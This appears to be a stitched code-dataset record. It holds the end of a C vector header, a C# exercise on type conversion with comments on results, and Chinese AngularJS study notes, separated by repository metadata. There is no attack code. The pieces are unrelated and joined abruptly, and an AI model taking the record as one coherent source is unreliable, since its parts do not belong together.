SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ****************************************************************************/ #ifndef VECTOR_H #define VECTOR_H #define VECTOR_MINCAPACITY 10 typedef struct vector { int elemsize; int count; int capacity; char *data; } *vec; vec vector_new(int elemsize, int capacity); void vector_free(vec v); int vector_grow(vec v); int vector_shrink(vec v); void vector_push(vec v, void *e); void vector_delete(vec v, int index); void* vector_get(vec v, int index); void vector_clear(vec v); #endif // VECTOR_H
9039aa252b8bc71a431766042bac24775112608d
[ "C" ]
3
C
skslater/basic-vector
acdcf0b8afe9adb0af256b5ba570cdff20c6a777
98cee17eedfe82419e68555dd4e43734c1a23f1c
refs/heads/master
<file_sep>using System; using System.ComponentModel; namespace ConsoleApp7 { public class Practice { /// <summary> /// B2-P1/1. TypeConvert. Преобразование типов используя явное, неявное преобразование и класс Convert. /// </summary> public static void B2_P1_1_TypeConvert() { //CONVERSION (explicit, implicit, Convert) //1. CHAR CONVERSION char sex = 'М';//to string //string sex_str = sex; //Implicit. Fail. Not compiling.. //string sex_str2 = (string)sex; //Explicit. Fail. Not compiling.. string sex_str3 = Convert.ToString(sex); //Convert. OK.. string sex_str4 = sex.ToString(); //ToString(). OK. char place = '3';//to int int place_int = place; //Implicit. Fail. result 51 int place_int1 = (int)place; //Explicit. Fail. result 51 int place_int2 = Convert.ToInt32(place); //Convert. Fail. result 51 char hasFingerPrints = '0';//to boolean //bool hasFingerPrints_bool = hasFingerPrints; //Implicit. Fail. Not Compiling //bool hasFingerPrints_bool1 = (bool)hasFingerPrints; //Explicit. Fail. Not Compiling //bool hasFingerPrints_bool2 = Convert.ToBoolean(hasFingerPrints); //Convert. Fail. System.InvalidCastException //2. STRING CONVERSION string hasPhotoString = "True";//to bolean //bool hasPhotoString_bool = hasPhotoString; //Implicit. Fail. Not Compiling //bool hasPhotoString_bool1 = (bool)hasPhotoString; //Explicit. Fail. Not Compiling bool hasPhotoString_bool2 = Convert.ToBoolean(hasPhotoString); //Convert. OK. string flatNumber = "34";//to int //int flatNumber_int = flatNumber; //Implicit. Fail. Not Compiling //int flatNumber_int1 = (int)flatNumber; //Explicit. Fail. Not Compiling int flatNumber_int2 = Convert.ToInt32(flatNumber); //Convert. OK. string visaPriceString = "34,23";//to float //float visaPriceString_float = visaPriceString; //Implicit. Fail. Not Compiling //float visaPriceString_float1 = (float)visaPriceString; //Explicit. Fail. Not Compiling //float visaPriceString_float2 = Convert.ToDouble(visaPriceString); //Convert.ToDouble(). Fail. Not compiling float visaPriceString_float3 = (float)Convert.ToDouble(visaPriceString); //Explicit. (float)Convert.ToDouble(). Fail. result (float)3423 string photoPriceString = "7.23";//to float //float photoPriceString_float = photoPriceString; //Implicit. Fail. Not Compiling //float photoPriceString_float1 = (float)photoPriceString; //Explicit. Fail. Not Compiling //float photoPriceString_float2 = Convert.ToDouble(photoPriceString); //Convert.ToDouble(). Fail. Not Compiling float photoPriceString_float3 = (float)Convert.ToDouble(photoPriceString); //Explicit. (float)Convert.ToDouble(). OK. result 7.23 //3. BOOL CONVERSION bool hasFree2Pages = false;//to string, to char, to int //string hasFree2Pages_str = hasFree2Pages; //Implicit. Fail. Not Compiling //string hasFree2Pages_str1 = (string)hasFree2Pages; //Explicit. Fail. Not Compiling string hasFree2Pages_str2 = Convert.ToString(hasFree2Pages); //Convert. I think OK. instead of |false| returned |False| //char hasFree2Pages_char = hasFree2Pages; //Implicit. Fail. Not Compiling //char hasFree2Pages_char1 = (char)hasFree2Pages; //Explicit. Fail. Not Compiling //char hasFree2Pages_char2 = Convert.ToChar(hasFree2Pages); //Convert. Fail. System.InvalidCastException //int hasFree2Pages_int = hasFree2Pages; //Implicit. Fail. Not Compiling //int hasFree2Pages_int1 = (int)hasFree2Pages; //Explicit. Fail. Not Compiling int hasFree2Pages_int2 = Convert.ToInt32(hasFree2Pages); //Convert. Fail. instead of |false| returned |0| //4. DECIMAL CONVERSION double visaPrice = 60;//to int, to string //int visaPrice_int = visaPrice; //Implicit. Fail. Not Compiling int visaPrice_int1 = (int)visaPrice; //Explicit. OK. result 60 int visaPrice_int2 = Convert.ToInt32(visaPrice); //Convert. OK. result 60 //string visaPrice_str = visaPrice; //Implicit. Fail. Not Compiling //string visaPrice_str1 = (string)visaPrice; //Explicit. Fail. Not Compiling string visaPrice_str2 = Convert.ToString(visaPrice); //Convert. OK. result "60" string visaPrice_str3 = visaPrice.ToString(); //ToString(). OK. result "60" double finterPrintsPrice = 55.2;//to int, to string //int finterPrintsPrice_int = finterPrintsPrice; //Implicit. Fail. Not Compiling int finterPrintsPrice_int1 = (int)finterPrintsPrice; //Explicit. Fail. result 55 int finterPrintsPrice_int2 = Convert.ToInt32(finterPrintsPrice); //Convert. Fail. result 55 //string finterPrintsPrice_str = finterPrintsPrice; //Implicit. Fail. Not Compiling //string finterPrintsPrice_str1 = (string)finterPrintsPrice; //Explicit. Fail. Not Compiling string finterPrintsPrice_str2 = Convert.ToString(finterPrintsPrice); //Convert. OK. result "55.2" string finterPrintsPrice_str3 = finterPrintsPrice.ToString(); //ToString(). OK. result "55.2" //4. INT CONVERSION int birthYear = 2000;//to string, to double, to char //string birthYear_str = birthYear; //Implicit. Fail. Not Compiling //string birthYear_str1 = (string)birthYear; //Explicit. Fail. Not Compiling string birthYear_str2 = Convert.ToString(birthYear); //Convert. OK. result "2000" string birthYear_str3 = birthYear.ToString(); //obj.ToString(). OK. result "2000" double birthYear_double = birthYear; //Implicit. OK. result 2000 double birthYear_double1 = (double)birthYear; //Explicit. OK. result 2000 double birthYear_double2 = Convert.ToDouble(birthYear); //Convert. OK. result 2000 //char birthYear_char = birthYear; //Implicit. Fail. Not Compiling char birthYear_char1 = (char)birthYear; //Explicit. Fail. result 'ߐ' char birthYear_char2 = Convert.ToChar(birthYear); //Convert. Fail. result 'ߐ' int hasPhotoInt = 1;//to boolean //bool hasPhotoInt_bool = hasPhotoInt; //Implicit. Fail. Not Compiling //bool hasPhotoInt_bool1 = (bool)hasPhotoInt; //Explicit. Fail. Not Compiling bool hasPhotoInt_bool2 = Convert.ToBoolean(hasPhotoInt); //Convert. Fail. result true } } }
dad321b379ed09d1072ff23e22dd83f3c9e5da61
[ "C#" ]
1
C#
rommoi/bl2-master
149c589425d5021054d9afc13e934ad501d6d388
62dfa0cf5498958a1de0ea8174479a2405ad3b02
refs/heads/master
<file_sep>## 数据绑定和第一个AngularJS Web应用 - angular中数据绑定 + 它创建实时模板来替代视图,而不是将数据合并进模板之后跟新DOM。任何一个独立视图组件中的值都是动态替换的。这个功能可以说是angular最重要的功能之一。 + 自动数据绑定使我们可以将视图理解为模型状态的映射。当客户端的数据模型发生变化时,视图就能反应这些变化,并且不需要写任何自定义代码,它就可以工作。 + MVC:视图-模型-控制器 + 表现分离:视图不需要知道如何保存对象,只需要知道如何显示它。数据模型不需要同视图进行交互,只需要包含数据和操作视图的方法。控制器用来存放二者绑定在一起的业务逻辑。 + angular会在事件循环时执行脏检查来保证数据的一致性。 + angular使用$预定义对象,只要遇到$符号,都可以只把它看作一个angular对象。 + $timeout本质上就是定时器 + 数据绑定的最佳实践:由于Javascript自身的特点,以及它在传递值和引用时的不同处理方式,通常认为,在视图中通过对象的属性而非对象本身来进行引用绑定,是Angular中的最佳实践。 ````js <div ng-controller="myCon"> <h1>Hello {{clock.now}}</h1> </div> <script src="js/angular.js"></script> <script> var app = angular.module("myApp", []); app.controller("myCon", function ($scope, $timeout) { $scope.clock = { now: new Date() }; var update = function () { $scope.clock.now = new Date() ; }; setInterval(function(){ //使用$timeout就不会有这样的问题。 $scope.$apply(update) //Scope提供$apply方法传播Model的变化,setInterval产生的变化angular监控不到,和promise中的rosolve方法一样 },1000) update(); }) ```` ## 模块 - 在angular中,模块是定义应用的最主要方式。模块包含了主要的应用代码。一个应用可以包含多个模块,每一个模块都包含了定义具体功能的代码。 - 定义模块的好处: + 保存全局命名空间的清洁 + 编写测试代码更容易,并能保持其清洁,以便更容易找到互相隔离的功能。 + 易于在不同应用间复用代码。 + 使应用能够以任意顺序加载代码的各个部分。 + angular.module(name,requires); - name(字符串):name是模块的名称,字符串变量。 - requires(字符串数组):requires包含一个字符串变量组成的列表,每个元素都是一个模块的名称,本模块依赖于这些模块,依赖需要在本模块加载之前有注入器进行预加载。 ## 作用域 - 作用域说明 - 应用的作用域是和应用的数据模型关联的,同时作用域也是表达式执行的上下文。$scope对象是定义应用业务逻辑,控制器方法和视图属性的地方。 - 作用域是应用和控制器之间的胶水。基于动态绑定,可以依赖视图在修改数据时立即更新$scope,也可以依赖$scope在其发生变化时立即重新渲染视图。 - angular将$scope设计成和DOM类似的结构,因此$scope可以进行嵌套绑定,也就是说可以引用父类$scope的属性。 - 将应用的业务逻辑都放在控制器中,而将相关的数据都放在控制器的作用域中,这是非常完美的结构。 - 视图和$scope的世界 - angular启动并生成视图时,会将根ng-app元素同$rootScope进行绑定。$toorScope是所有$scope对象的最上层。 - $scope对象在angular中充当数据模型,但与传统的数据模型不一样,$scope并不负责处理和操作数据,它只是视图和HTML之间的桥梁,它是视图和控制器之间的胶水。 ````js //run方法用于初始化全局的数据,仅对全局作用域起作用。 angular.module("myApp",[]).run(function($rootScope){ $rootScope.name="tt"; }) ```` - angular应用的模板(HTML)中使用多种标记: + 指令:将DOM元素增强为可复用的DOM组件的属性或元素。 + 值绑定:模板语法{{}}可以将表达式绑定到视图上。 + 表单控件:用来检查用户输入的控件。 - 作用域能做什么 + 提供观察者以监视数据模型的变化 + 可以将数据模型的变化通知给整个应用,甚至是系统外的组件。 + 可以进行嵌套,隔离业务功能和数据。 + 给表达式提供运算时所需的执行环境。 + 作用域包含了渲染视图时所需的功能和数据,它是所有视图的唯一源头。可以将作用域理解成视图模型。 - $scope对象的生命周期处理有四个不同阶段 + 创建:在创建控制器或指令时,angular会用$injector创建一个新的作用域,并在这个新建的控制器或指令运行时将作用域传递过去。 + 链接:当angular开始运行时,所有的$scope对象都会附加或者链接到视图中。所有创建$scope对象的函数也会将自身附加到视图中。这些作用域将会注册angular应用上下文中发生变化时需要运行的函数。 - 这些函数被称为$watch函数,angular通过这些函数获知何时启动事件循环。 + 更新:当事件循环运行时,他通常执行在顶层$scope对象上(被称作$rootScope),每个子作用域都执行自己的脏值检查。每个监控函数都会检查变化。如果检查到任意变化,$scope对象将会触发指定的回调函数。 + 销毁:当一个$scope在视图不在需要时,这个作用域将会清理和销毁自己。 - 尽管永远不会需要清理作用域(angular会处理),但是知道谁创建了这个作用域还是有用的,因为可以使用这个$scope上叫做$destory()的方法来清理这个作用域。 + 指令和作用域:指令通常不会创建自己的$scope,但也有例外,比如ng-controller和ng-repeat(过滤器和遍历)指令会创建自己的子作用域并将它们附加到DOM元素上。 ## 控制器 - 控制器在angular中的作用是增强视图,控制器是一个函数,用来向视图的作用域中添加额外的功能。 - angular同其它Javascript框架最主要的一个区别就是,控制器并不适合执行DOM操作,格式化或数据操作,以及除存储数据模型之外的状态维护操作,它只是视图和$scope之间的桥梁. - $scope对象用来从数据模型向视图传递信息。同时,它也可以用来设置事件监听器,同应用的其它部分进行交互,以及创建与应用相关的特定业务逻辑。 - angular应用的任何一部分,无论它渲染在哪个上下文中,都有父级作用域存在。对于ng-app所处的层级来讲,它的父级作用域就是$rootScope。 + 有一个例外:在指令内部创建的作用域被称为孤立作用域。 + 除了孤立作用域外,所有的作用域都是通过原型继承而来,也就是说它们都可以访问父级作用域。 ````js <body ng-app="myApp"> <div ng-controller="myCon"> <div ng-controller="myChild"> <button ng-click="fn.hello()">点击</button> </div> </div> <script src="js/angular.js"></script> <script> var app = angular.module("myApp", []).run(function ($rootScope) { $rootScope.name = "tt"; }); app.controller("myCon", function ($scope) { $scope.person={ name:"zzz" } }) app.controller("myChild",function($scope){ $scope.fn={ hello:function(){ alert($scope.person.name); } } }) </script> </body> ```` ## 表达式 - 表达式和eval(javascript)非常相似,但是由于表达式有Angular来处理,有以下特征: + 所有的表达式都在其所属的作用域内部执行,并有访问本地$scope的权限; + 如果表达式发生了TypeError和ReferenceError并不会抛出异常; + 不允许使用任何流程控制功能(条件控制,例如if/else); + 可以接受过滤器和过滤器链 - 解析Angular表达式 + Angular会在运行$digest循环的过程中自动解析表达式,但是手动解析表达式也是非常有用的。 + Angular通过$parse这个内部服务来进行表达式的计算,这个服务能访问当前所处的作用域。这个过程允许我们访问定义在$scope上的原始Javascript数据和函数。 ````js <body ng-app="myApp"> <section ng-controller="oneCon"> <input type="text" ng-model="expr" placeholder="Enter an expression"> <h2>{{parsedValue}}</h2> </section> <script src="js/angular.js"></script> <script> angular.module("myApp",[]).controller("oneCon",["$scope","$parse",function($scope,$parse){ $scope.$watch('expr',function(newVal,oldVal,scope){ if(newVal!=oldVal){ //用该表达式设置parseFun var parseFun=$parse(newVal); //获取经过解析后表达式的值 $scope.parsedValue=parseFun(scope); } }) }]) </script> </body> ```` - 插值字符串 + 插值允许基于作用域上的某个条件实时更新文本字符串。要在字符串模板中做插值插值,需要在对象中注入$interpolate服务。 + $interpolate服务接受三个参数,其中第一个参数是必须的。 - txt(字符串):一个包含字符插值标记的字符串。 - mustHaveExpression(布尔型):如果将这个参数设置为true,当传入字符串中不含有表达式时返回null。 - trustedContext(字符串):angular会对已经进行过字符插值操作的字符串通过$sec.getTrusted()方法进行严格的上下文转义。 - $interpolate服务返回一个函数,用来在特定的上下文中运算表达式。 - 在{{previewText}}内部的文本可以将{{to}}当成一个变量来使用,并对文本的变化进行实时更新。 ````js <body ng-app="myApp"> <section ng-controller="oneCon"> <input type="email" ng-model="to" > //需要输入邮箱格式 <textarea ng-model="emailBody"></textarea> <pre>{{previewText}}</pre> <p>{{to}}</p> </section> <script src="js/angular.js"></script> <script> angular.module("myApp",[]).controller("oneCon",["$scope","$interpolate",function($scope,$interpolate){ $scope.$watch('emailBody',function(body){ //监控文本域输入值,如果字符串中有表达式,且去找对应的值,替换,没有则替换为空。 if(body){ var template=$interpolate(body); $scope.previewText=template({to:$scope.to}); } }) }]) </script> </body> ```` - 如果需要在文本中使用不同于{{}的符号来标识表达式开始和结束,可以在$interprolateProvider中配置 + 用startSymbol()方法可以修改标识开始的符号,这个方法接受一个参数。 - value(字符型):开始符号的值。 + endSymbol结束符号的值 + 如果要修改这两个符号的值,需要在创建新模块时将$interpolateProvider注入进去。 ````js <body ng-app="myApp"> <section ng-controller="oneCon"> <input type="email" ng-model="to" > <textarea ng-model="emailBody"></textarea> <pre>__previewText__</pre> <p>__to__</p> </section> <script src="js/angular.js"></script> <script> angular.module("emaliParser",[]) .config(['$interpolateProvider',function($interpolateProvider){ $interpolateProvider.startSymbol('__'); $interpolateProvider.endSymbol('__'); //用自定义__符号取代默认的{{}}符号请求插值文本。 }]) .factory('EmailParser',['$interpolate',function($interpolate){ //处理解析的服务 return { parse:function(txt,content){ var template=$interpolate(txt); return template(content); } } }]) angular.module("myApp",['emaliParser']) .controller("oneCon",["$scope","EmailParser",function($scope,EmailParser){ $scope.$watch('emailBody',function(body){ if(body){ $scope.previewText=EmailParser.parse(body,{to:$scope.to}); } }) }]) </script> </body> ```` ## 过滤器 ### 过滤器是用来格式化需要展示给用户的数据。 + 在HTML中的模板绑定符号{{}}内部通过|符号来调用过滤器 - {{name|uppercase}} + 在Javascript中通过$filter来调用过滤器。 - $filter('uppercase')('Ari') + 以HTML的形式使用过滤器时,如果需要传递参数给过滤器,只要在过滤器名字后面加冒号即可。如果是多个参数,可以在每个参数后面都加入冒号。 - {{123.45678|number:2}} //取两位小数 + 可以用|符号作为分隔符来同时使用多个过滤器。 - currency过滤器可以将一个数据格式化为货币格式。允许设置货币符号,默认情况下会采用客户端所处区域的货币符号。 - {{txt|currency:'¥'}} - date过滤器可以将日期格式化成需要的格式,angular中内置了几种日期格式,,如果没有指定使用任何格式,默认会采用mediumDate格式。 - {{txt|date:'yyyy-mm-dd'}} - filter过滤器可以从给定数组中选择一个子集,并将其生成一个新数组返回。这个过滤器通常用来过滤需要进行展示的元素。 + 这个过滤器的第一个参数可以是字符串,对象或是一个用来从数组中选择元素的函数。 - 字符串:返回所有包含这个字符串的元素。如果想返回不包含该字符串的元素,在参数前加!符号。 - 对象:angular将待过滤对象的属性同这个对象中的同名属性进行比较,如果属性值是字符串就会判断是否包含该字符串。如果希望对全部属性都进行对比,可以将$当作键名。 - 对每个元素都执行这个函数,返回非假值的元素会出现在新的数组中并返回。 + filter过滤器第二个参数,用来指定预期值同实际值进行比较的方式。 - false 进行区分大小写的子字符串比较 - true 用angular.equals(expected,actual)对两个值进行严格比较。 - 函数 运行这个函数,如果是真值就接受这个元素 + json过滤器可以将一个JSON或Javascript对象转换为字符串 + limitTo过滤器会根据传入的参数生成一个新的数组或者字符串,新的数组或字符串的长度取决于传入的参数,通过传入参数的正负值来控制从前面还是后面开始截取。 - {{['a','b','c']|limitTo:1}} //['a'] + lowercase过滤器将字符串转为小写 + number过滤器将数字格式化成文本。第二个参数是可选的,用来控制小数点后截取的位数。 - 如果传入了一个非数字类型,会返回空字符串。 - {{1304375948024|number}} 1,304,375,948,024 + orderBy过滤器可以用表达式对指定的数组进行排序。接受两个参数,第一个是必须的,第二个可选。 - 第一个参数类型 + 函数:当第一个参数是函数时,该函数就会被当作排序对象的getter方法。 + 字符串:对这个字符串进行解析的结果将决定数组的排序方向。可以传入+或-来强制进行升序或降序排列。+ 数组:在排序表达式中使用数组元素作为谓词。对于与表达式结果并不严格相等的每个元素,则使用第一个谓词。 - 第二个参数用来控制排序的方向(是否逆向)。 - ````html {{ [{'name':"zsn",'age':12},{'name':"clj",'age':10},{'name':"xpp",'age':8}] |orderBy:'age':'true' }} ```` ### 自定义过滤器 + 自定义过滤器需要将它放在自己的模块中,实现一个将首字母大写的过滤器。 ````js angular.module("myApp.filters",[]) .filter('capitalize',function(){ return function(input){ if(input){ return input[0].toUpperCase()+input.slice(1); } } }) angular.module("myApp",["myApp.filters"]) .controller("oneCon",["$scope",function($scope){ }]) ```` ### 表单验证 - angular能够将HTML5表单验证功能同它自己的验证指令结合起来使用。 - 要使用表单验证,首先要确保表单元素有一个name属性 - 所有输入字段都可以进行基本的验证,比如最大,最小长度等。这些功能是由新的HTML5表单属性提供的。 - 如果想屏蔽浏览器对表单的默认验证行为,可以在表单元素上添加novalidate标记 - input元素上使用的所有验证选项 + 必填项: h5标记required &lt;input type="text" required /> + 最小长度 ng-minlength="number" + 最大长度 ng-maxlength="number" + 模式匹配 使用ng-pattern="/正则表达式/"来确保输入能够匹配指定的正则表达式 + 电子邮箱 &lt;input type="email" name="email" /> + 数字 &lt;input type="number" name="age" /> + url &lt;input type="url" name="homepage" /> + 在表单中控制变量 可以使用以下格式访问这些属性 - formName.inputFieldName.property - 未修改的表单--这是一个布尔属性,用来判断用户是否修改了表单。如果未修改,值为true,如果修改过值为false :formName.inputFieldName.$pristine - 修改过的表单--只要用户修改过表单,无论输入是否通过验证,该值都返回true:formName.inputFieldName.$dirty - 合法的表单--这个布尔值的属性用来判断表单的内容是否合法。如果当前表单内容时合法的,下面属性的值就是true:formName.inputFieldName.$valid - 不合法的表单--这个布尔属性用来判断表单的内容是否不合法。如果当前表单内容是不合法的,下面属性的值为true:formName.inputFieldName.$invalid - 错误--这是angular提供的另外一个非常有用的属性:$error对象。它包含当前表单的所有验证内容,以及它们是否合法的信息。formName.inputfieldName.$error;如果验证失败,这个属性的值为true;如果值为false,说明输入字段的值通过了验证 + 一些有用的css样式 - angular处理表单时,会根据表单当前的状态添加一些css类,这些css类的命名和前面介绍的属性很相似。 - .ng-pristine{};.ng-dirty{};.ng-valid{};.ng-invalid{} - 当某个字段中的输入非法时,.ng-invlid类会被添加到这个字段上。当前列子中的站点将对应的css样式设置为: + input.ng-invalid{border:1px solid red;} + input.ng-valid{border:1px solid green;} + $parsers - 当用户与控制器进行交互,并且ngModelController中的$setViewValue()方法被调用时,$parsers数组中的函数会以流水线的形式被逐个调用。第一个$parse被调用后,执行结果会传给第二个$parse,以此类推。 - 这些函数可以对输入值进行转换,或者通过$setValidity()函数设置表单的合法性。 - 使用$parsers数组是实现自定义验证的途径之一,例如,假设我们想确保输入值在某两个数值中间,可以在$parsers数组中栈入一个新的函数,逐个函数会在验证链接中被调用。 - 每个$parse返回的值都会被传入下一个$parser中。当不希望数据模型发生更新时返回undefined。 ````js angular.module("myApp",[]).directive('ontToTen',function(){ return { require:"?ngModel", link:function(scope,ele,attrs,ngModel){ if(!ngModel)return; ngModel.$parsers.unshift( function(viewValue){ var i=parseInt(viewValue); if(i>=0&&i<10){ ngModel.$setValidity('oneToTen',true); return viewValue; }else{ ngModel.$setValidity ('oneToTen',false); return undefined; } } ) } } }) ```` + $formatters - 当绑定的ngModel值发生了变化,并经过$parsers数组中解析器的处理后,这个值会被传递给$formatters流水线。同$parsers数组可以修改表单的合法性状态类似,$formatters中的函数也可以修改并格式化这些值。 - 比起单纯的验证目的,这些函数更常用来处理视图中的可视变化。例如,假设我们要对某个值进行格式化。通过$formatters数组可以在这个值上执行过滤器: ````js angular.module("myApp").directive('oneToTen',function(){ return { require:"?ngModel", link:function(scope,ele,attrs,ngModel){ if(!ngModel)return; ngModel.$formatters.unshift(function(v){ return $filter('number')(v); }) } } }) ```` - 组合实例 ---难 ## 指令简介 ### 指令:自定义HTML元素和属性 - 自定义指令 + angular模块API中的.directive()方法,可以通过传入一个字符串和一个函数来注册一个新指令。其中字符串是这个指令的名称,指令名应该是驼峰命名风格的,函数应该返回一个对象。 + directive()方法返回的对象中包含了用来定义和匹配指令所需的方法和属性。 + 可以将自定义标签从生成的DOM中完全移除掉,并只留下有模板生成的标签。将replace设置为true可以达到这个效果。 + 把创建的这些自定义元素称做指令(用.directive()方法创建),因为事实上声明指令并不需要创建一个新的自定义元素。 + 声明指令本质上是在HTML中通过元素,属性,类或注释来添加功能。 - 合法格式: - &lt;div my-directive></div> - &lt;div class="my-directive"></div> - &lt;!--directive:my-directive--> + restrict属性表示angular在编译HTML时用哪种声明格式来匹配指令,可以指定一个或多个格式。 - 元素(E),属性(A),类(C)或注释(M) - 无论有多少中方式可以声明指令,推荐使用属性方式,因为它有比较好的跨浏览器兼容性。 ````js <my-directive></my-directive> <script> angular.module("myApp", []).directive('myDirective', function () { return { restrict: 'A', //"EA" replace:true, template: '<a href="http://www.baidu.com">got0</a>',//指令模板,可以嵌套或替换 } }) </script> ```` + 用表达式声明指令 - 声明指令时即可以使用表达式,也可以不使用表达式 - &lt;my-directive="someExpressin">&lt;/my-directive> - &lt;div my-directive="someExpressin">&lt;/div> - &lt;div class="my-directive:someExpressin">&lt;/div> - &lt;!--directive:my-directive someExpressin--> + 当前作用域 - 由DOM通过内置指令ng-controller提供的作用域。这个指令的作用是在DOM中创建一个新的子作用域。 - 注意,还有其它内置指令(比如ng-include和ng-view)也会创建新的子作用域,这意味着它们在被调用时行为和ng-controller类似。我们在构造自定义指令是也可以创建新的子作用域。 ### 向指令中传递数据 - 在主HTML文档中,可以给指令添加myUrl和myLinkText两个属性,这两个属性会成为指令内部作用域的属性。 - 有好几种途径可以设置指令内部作用域中属性的值。最简单的方法就是使用由所属控制器提供的已经存在的作用域。尽管简单,共享状态会导致很多其他问题。如果控制器被移除,或者控制器的作用域也定义了一个myUrl的属性,就要被迫修改代码。 - angular允许通过创建新的子作用域或者隔离作用域来解决这个常见的问题。 - 同之前在当前作用域中介绍的继承作用域(子作用域)不同,隔离作用域同当前DOM作用域是完全分隔开的。为了给这个新的对象设置属性,我们需要显示地通过属性传递数据,同在Javascript中给方法传递参数类似。 - 用如下代码将指令地作用域设置成一个只包含它自己地属性地干净对象: - scope:{ someProperty:"needs to be set"} //行不通,不能在作用域对象内部直接设置someProperty属性。 - 实际上创建的是隔离作用域。本质上,意味这指令有了一个属于自己的$scope对象这个对象只能在指令的方法中或者指令的模板字符串中使用。 - 实际上要在DOM中项之前提到的那样,像给函数传递参数一样,通过属性来设置值: -&lt;div my-directive my-url="http://www.baidu.com" my-link-text="百度"></div> - 在作用域对象内部把someProperty值设置为@这个策略绑定。这个策略绑定告诉angular将DOM中some-property属性的值复制给新作用域对象中的someProperty属性。 - scope:{someProperty:'@'} - 注意,默认情况下someProperty在DOM中的映射是some-property属性。如果我们想显示指定绑定的属性名,可以用如下方式: - sope{someProperty:'@someAttr'} //这个例子中,被绑定的属性名是some-attr而不是some-property - 更进一步,还没有在DOM对应的作用域上运算表达式,并将结果传递给指令,在指令内部最终被绑定在属性上: - <div my-directive some-attr="{{'http://'+'www.baidu.com'}}"></div ````js <div my-directive my-url="http://www.baidu.com" my-link-text="百度"></div> <script> angular.module("myApp", []).directive('myDirective', function () { return { restrict: 'A', template: '<a href="{{myUrl}}">{{myLinkText}}</a>', replace:true, scope:{ myUrl:'@', myLinkText:'@', } } }) </script> ```` - 在此之上,我们来看看如何创建一个文本输入域,并将输入值同指令隔离作用域的属性绑定起来: - 注意在输入标签上使用了内置指令ng-model。这个指令可以将输入的文本同$scope上的myUrl属性进行绑定。 - &lt;input type="text" ng-model="myUrl">&lt;div my-directive some-attr="{{myUrl}}" my-link-text="baidu"> </div> - 上面的代码是可以工作的,但是如果我们将文本输入字段移到指令内部并在另一个指令中进行绑定,就无法正常工作了: - &lt;div my-directive some-attr="{{myUrl}}" my-link-text="baidu"> </div> - 本意上就是自定义指令声明了自己的独立作用域就和外部作用域隔离了 scope:{}, - template:'&lt;div>&lt;input type="text" ng-model="myUrl">&lt;a href="{{myUrl}}">{{myLinkText}}</a>&lt;/div>' - 设置了 scope:{}后没有错误的将内部$scope属性myUrl同外部的DOM属性some-attr绑定在一起,值是通过对DOM属性进行复制被传递到隔离作用域中,难道不应该设置同名属性嘛? - 出现这个现象的原因是,内置指令ng-model在它自身内部的隔离作用域和DOM的作用域(由控制器提供)之间创建了一个双向数据绑定。 - 接下来在我们的隔离作用域和ng-model内部的隔离作用域之间创建一个双向数据绑定。将内部的$scope.myUrl属性同当前控制器作用域中的theirUrl属性进行绑定,在DOM中通过作用域查询来实现这个绑定。 - 通过两个文本输入框可以方便的观察作用域是如何在Javascript中通过原型继承链接在一起的。 - 除了将原来的文本输入字段添加回主HTML文档外,唯一的修改使用=绑定策略代替了@。 ````js <body ng-app="myApp"> <label> Their URL filed:</label> <input type="text" ng-model="theirUrl"> <div my-directive some-attr="theirUrl" my-link-text="baidu"> </div> <script> angular.module('myApp',[]).directive('myDirective',function(){ return { restrice:'A', replace:true, scope:{ myUrl:'=someAttr',//经过了修改。=和@符号区别在于:=是双向绑定 @符号是单向绑定 //some-attr="theirUrl" =拿到的是theirUrl这个对象所在的空间 @符号拿到的是theirUrl字符串 //some-attr="{{theirUrl}}" =拿到的是theirUrl这个对象所在的空间 @符号是单向绑定 myLinkText:'@' }, template:'<div><label> My URL filed:</label>' +'<input type="text" ng-model="myUrl">' +'<a href="{{myUrl}}">{{myLinkText}}</a></div>' } }) </script> ```` ## 内置指令 - 基础ng属性指令 + ng-hreft + ng-src + ng-disabled + ng-checked + ng-readonly + ng-class + ng-style - 布尔属性 + 当在angular中使用动态数据绑定时,不能简单的将这个属性值设置为true或false,因为根据标准(HTML标准)定义只有当这个属性不出现时,它的值才为false。因此angular提供了一组带有ng-前缀版本的布尔属性,通过运算表达式的值来决定在目标元素上是插入还是移除对应的属性。 + ng-disabled可以把disabled属性绑定到以下表单输入字段上: - &lt;input>(text,checkbox,radio,number,url,email,submit) - &lt;texterea> - &lt;select> - &lt;button> - 类布尔类型 + ng-href,ng-src等属性虽然不是标准的HTML布尔属性,但是由于行为相似,所以在angular源码内部和布尔属性同等对待的。 + ng-href和ng-src都能有效帮助重构和避免错误,推荐改进代码使用。 + ng-href:当用户点击一个由插值动态生成的链接时,如果插值尚未生效,将会跳转404,如果使用ng-href,angular会等插值生效后再执行点击链接的行为。 + ng-src:angular会告诉浏览器再ng-src对应的表达式生效之前不要加载图像。 ### 在指令中使用子作用域 - 下面将要介绍的指令会以父级作用域为原型生成子作用域。这种继承的机制可以创建一个隔离层,用来将需要协同工作的方法和数据模型对象放置在一起。 + ng-app和ng-controller是特殊的指令,因为它们会修改嵌套在它们内部的指令的作用域。 + ng-app为angular应用创建$rootScope,ng-controller则会以$rootScope或另一个ng-controlle的作用域为原型创建新的子作用域。 - ng-app + 任何具有ng-app属性的DOM元素将被标记为$rootScope的起始点。 + $rootScope是作用域的起始点,任何嵌套在ng-app内的指令都会继承它。 + 在Javascript代码中通过run方法来访问$rootScope + 不推荐实际生产中像使用全局作用域一样使用$rootScope。 + 可以在整个文档中只使用移除ng-app。如果需要在一个页面放置多个angular应用,需要手动引导应用。 - ng-controller + 内置指令ng-controller的作用是为嵌套在其中的指令创建一个子作用域,避免将所有操作和模型都定义在$rootScope上。用这个指令可以在一个DOM元素上放置控制器 + ng-controller接受一个参数expression,这个参数是必须的。expression参数是一个angular表达式。 + 子$scope只是一个Javascript对象,其中含有从父级$scope中通过原型继承得到的方法和属性,包括应用$rootScope. + 嵌套在ng-controller中的指令有访问新子$scope的权限,但要牢记每个指令都应该遵守的和作用域相关的规则。 + $scope对象的职责是承载DOM中指令所共享的操作和模型。 - 操作指的是$scope上的标准Javascript方法。 - 模型指的是$scope上保存的包含瞬间状态数据的Javascript对象。持久化状态的数据应该保存到服务中,服务的作用是处理模型的持久化。 + 